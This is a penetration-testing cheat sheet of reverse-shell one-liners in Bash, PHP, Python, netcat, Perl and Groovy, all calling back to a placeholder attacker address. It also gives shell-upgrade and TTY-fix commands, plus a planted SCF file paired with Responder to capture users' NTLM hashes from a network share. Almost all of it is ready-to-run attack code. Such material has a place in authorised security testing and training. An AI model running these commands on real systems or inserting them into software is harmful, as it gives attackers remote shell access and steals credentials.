Reverse Shells

Software specific shells

Name	Value
Bash	bash -i >& /dev/tcp/111.1111.111.111/8080 0>&1
PHP	php -r '$sock=fsockopen("111.1111.111.111",8080);exec("/bin/sh -i <&3 >&3 2>&3");'
Python	python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("111.1111.111.111",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
NC v1	nc -e /bin/sh 111.1111.111.111 8080
NC v2	rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 111.1111.111.111 8080 >/tmp/f
Perl	perl -e 'use Socket;$i="111.1111.111.111";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Groovy	String host="{your_IP}"; int port=8000; String cmd="/bin/bash"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()) {while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Shell Upgrades

Name	Value
Perl	perl -e 'exec "/bin/bash";'
Bash	echo os.system('/bin/bash')
Python 3	python3 -c 'import pty; pty.spawn("/bin/bash")'
Python 2	python -c 'import pty; pty.spawn("/bin/bash")'

Shell Fixes

Name	Value
Fix Window Size	stty rows X cols Y
Get Window Size	stty size
Fix Output	stty raw -echo

Reverse shell files

SCF files

https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/ It is not new that SCF (Shell Command Files) files can be used to perform a limited set of operations such as showing the Windows desktop or opening a Windows explorer. However a SCF file can be used to access a specific UNC path which allows the penetration tester to build an attack. The code below can be placed inside a text file which then needs to be planted into a network share. Saving the pentestlab.txt file as SCF file will make the file to be executed when the user will browse the file. Adding the @ symbol in front of the filename will place the pentestlab.scf on the top of the share drive.

[Shell]
Command=2
IconFile=\\X.X.X.X\share\pentestlab.ico
[Taskbar]
Command=ToggleDesktop

Responder needs to be executed with the following parameters to capture the hashes of the users that will browse the share.

responder -wrf --lm -v -I eth0